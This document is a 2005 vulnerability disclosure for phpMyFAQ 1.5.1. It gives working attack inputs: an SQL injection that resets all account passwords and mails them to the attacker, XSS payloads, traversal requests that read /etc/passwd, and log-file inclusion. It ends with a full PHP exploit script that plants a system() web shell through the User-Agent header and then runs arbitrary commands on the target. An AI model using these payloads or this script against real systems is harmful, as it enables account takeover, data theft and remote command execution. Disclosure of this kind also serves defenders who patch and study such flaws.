|2.31 23/09/2005
 
PhpMyFaq 1.5.1 SQL injection / board takeover / user info disclosure / path disclosure
remote code / commands execution
 
software:
site: http://www.phpmyfaq.de/
description: "phpMyFAQ is a multilingual, completely database-driven FAQ-system.
It supports various databases to store all data, PHP 4.1.0 (or higher) is needed
in order to access this data. phpMyFAQ also offers a multi-language Content
Management-System with a WYSIWYG editor and an Image Manager, flexible multi-user
support with LDAP support, a news-system, user-tracking, language modules,
enhanced automatic content negotiation, templates, extensive XML-support,
PDF-support, a backup-system, a dynamic sitempa and an easy to use installation script."
 
vulnerabilities:
 
1) if magic quotes off -> SQL injection:
  just take a look at vulnerable code in /admin/password.php:
  ...
       $username = $_POST["username"];
       $email = $_POST["email"];
       $num = $db->num_rows($db->query("SELECT name, email FROM ".SQLPREFIX."faq
user WHERE name = '".$username."' AND email = '".$email."'"));
       if ($num == 1) {
           $consonants = array("b","c","d","f","g","
h","j","k","l","m","n","p","r"
,"s","t","v","w","x","y","z");
           $vowels = array("a","e","i","o","u");
           $newPassword = "";
           srand((double)microtime()*1000000);
           for ($i = 1; $i <= 4; $i++) {
               $newPassword .= $consonants[rand(0,19)];
               $newPassword .= $vowels[rand(0,4)];
               }
           $db->query("UPDATE ".SQLPREFIX."faquser SET pass = '".md5($newPassw
ord)."' WHERE name = '".$username."' AND email = '".$email."'");
           $text = $PMF_LANG["lostpwd_text_1"]."\nUsername: ".$username."\nN
ew Password: ".$newPassword."\n\n".$PMF_LANG["lostpwd_text_2"];
           mail($IDN->encode($email), $PMF_CONF["title"].": username / password req
uest", $text, "From: ".$IDN->encode($PMF_CONF["adminmail"]));
  ...
 
 
  switch to /admin directory, click on "forgotten password" feature
  and  without to have an account you can reset
  admin password and send yourself it by email, example:
 
  user: ' or isnull(1/0) /*
  mail: [your_email]
 
  the two queries become:
 
  SELECT name, email FROM phpmyfaq_faquser WHERE name = '' or isnull(1/0) /*' AND email = '[your_emai
l]'
 
  and
 
  UPDATE phpmyfaq_faquser SET pass = '[password_hash]' WHERE name = '' or isnull(1/0) /*' AND email =
 '[your_email]'
 
  (so all accounts have the same new password... not only admin one)
 
  [your_email] , now is passed to mail() funxtion
 
  you will soon receive a mail like this:
 
 "Thank you for requesting your account information.
  Username: ' or isnull(1/0) /*
  New Password: relicuxe
 
  Please set a new personal password in the admin section of your FAQ."
 
  now you can login, backup database, add/delete news, records, ban ip and execute
  commands on target system by inserting php code in news, system calls, etc.
 
2) cross site scripting:
 
http://[target]/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cooki
e)</script>
http://[target]/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert
(document.cookie)</script>
 
3) arbitrary inclusion (on Windows):
  if magic_quotes_gpc off in php.ini settings you can see ANY file on target system:
  http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00
 
4) if magic_quotes both on and off you can include an arbitrary php file
  on the target machine:
 
  http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname]
 
  [scriptname] without '.php' extension
 
5) user info disclosure:
 
  http://[target]/[path]/phpmyfaq/data/tracking[date]
 
  where [date] is today date, example: 22092005
  you will see the log file...
 
6) path disclosure:
  http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file]
 
7) you can insert php code in a User Agent field request packet, example:
 
  <?php system($HTTP_GET_VARS[cmd]) ?>
 
  and, if magic_quotes is off, you can include log file to execute shell commands (this on Windows)
 
  http://[target]/[path]/phpmyfaq/index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00
 
 
this is my proof of concept exploit (it works against Windows servers, so it's only a divertisement
but OK, we are admin, remember? ;) ...):
 
<?php
#   17.34 22/09/2005                                                           #
#                                                                              #
#   phpmyfaq_xpl.php                                                           #
#                                                                              #
#   PhpMyFaq 1.5.1 ( possibly prior versions) shell inject                     #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in your php.ini if you have troubles                    #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   if magic_quotes_gpc is off, boom! you launch commands...                   #
#                                                                              #
#   Sun-tzu: "When in difficult country, do not encamp. In country where high  #
#   roads intersect, join hands with your allies. Do not linger in dangerously #
#   isolated positions. In hemmed-in situations, you must resort to stratagem. #
#   In desperate position, you must fight."                                    #
 
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
 
echo'<head> <title> PhpMyFAQ 1.5.1  remote  commands  execution  </title> <meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style 
type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6">
     PhpMyFAQ
V  1.5.1 (possibly prior versions) remote commands execution  </p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org"    target="_bl
ank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td wid
th="43%"> <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&
host=
value&port=value&command=value&proxy=value"><p><input type="text"
   name="host">
<span class="Stile5">  hostname  (ex: www.sitename.com)  </span>  </p> <
p><input
type="text" name="path"><span class="Stile5">  path ( ex:  /ph
pmyfaq/ or just /)
</span></p><p><input type="text"   name="port" >   <sp
an class="Stile5"> specify
a port other than 80 (default value)  </span></p><p> <input  type="text"
   name=
"command"> <span  class="Stile5"> a  Unix  command  ,  example:  ls -la 
 to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="
text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP 
proxy (ip:por
t</span></p> <p> <input  type="submit"name="Submit" value="
go!"></p></form></td>
</tr></table></body></html>';
 
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
            $ji=0;
            $ci++;
            echo "<td>&nbsp;&nbsp;</td>";
            for ($li=0; $li<=15; $li++)
                     { echo "<td>".$headeri[$li+$ki]."</td>";
                }
           $ki=$ki+16;
           echo "</tr><tr>";
           }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                     { echo "<td>&nbsp&nbsp</td>";
                      }
 
for ($li=$ci*16; $li<=strlen($headeri); $li++)
                     { echo "<td>".$headeri[$li]."</td>";
                }
echo "</tr></table>";
}
 
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
 
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
          {$ock=fsockopen(gethostbyname($host),$port);}
            else
          {
        if (!eregi($proxy_regex,$proxy))
        {echo htmlentities($proxy).' -> not a valid proxy...';
         die;
        }
       $parts=explode(':',$proxy);
        echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
        $ock=fsockopen($parts[0],$parts[1]);
        if (!$ock) { echo 'No response from proxy...';
            die;
               }
       }
fputs($ock,$packet);
if ($proxy=='')
 {
 
   $html='';
   while (!feof($ock))
     {
       $html.=fgets($ock);
     }
 }
else
 {
   $html='';
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
   {
     $html.=fread($ock,1);
   }
 }
fclose($ock);
echo nl2br(htmlentities($html));
}
 
if (($path<>'') and ($host<>'') and ($command<>''))
{
 if ($port=='') {$port=80;}
 
# STEP 1 -> Shell Inject...
if ($proxy=='')
{$packet="GET ".$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n"
;}
else
{$packet="GET http://".$host.$path."index.php?sid=49493&lang=it&action=ask HTT
P/1.0 \r\n";}
 
$packet.='User-Agent: <?php system($HTTP_GET_VARS[cmd]) ?><?php die ?>'."\r\n";

//you cannot insert ";" because it is stripped, so insert more statements
//if you change the shell, keep attemption to php syntax, if you make an error,
//you cannot lauch commands till tomorrow, I am not joking ;)
 
$packet.="Accept-Language: pl\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-f
lash, */*\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: lang=it; sid=49493\r\n";
show($packet);
sendpacket($packet);
 
# STEP 2 -> Include the log file and launch commands...
if ($proxy=='')
{$packet="GET ".$path."index.php?cmd=".urlencode($command)."&LANGCODE=/.
./../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."index.php?cmd=".urlencode($command)."&
LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";}
$packet.='User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)'."
\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-f
lash, */*\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: lang=it; sid=49493\r\n";
show($packet);
sendpacket($packet);
}
else
{
echo '<br>fill in requested fields, optionally specify a proxy...<br><br>';
}
?>
 
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/phpmyfuck151.html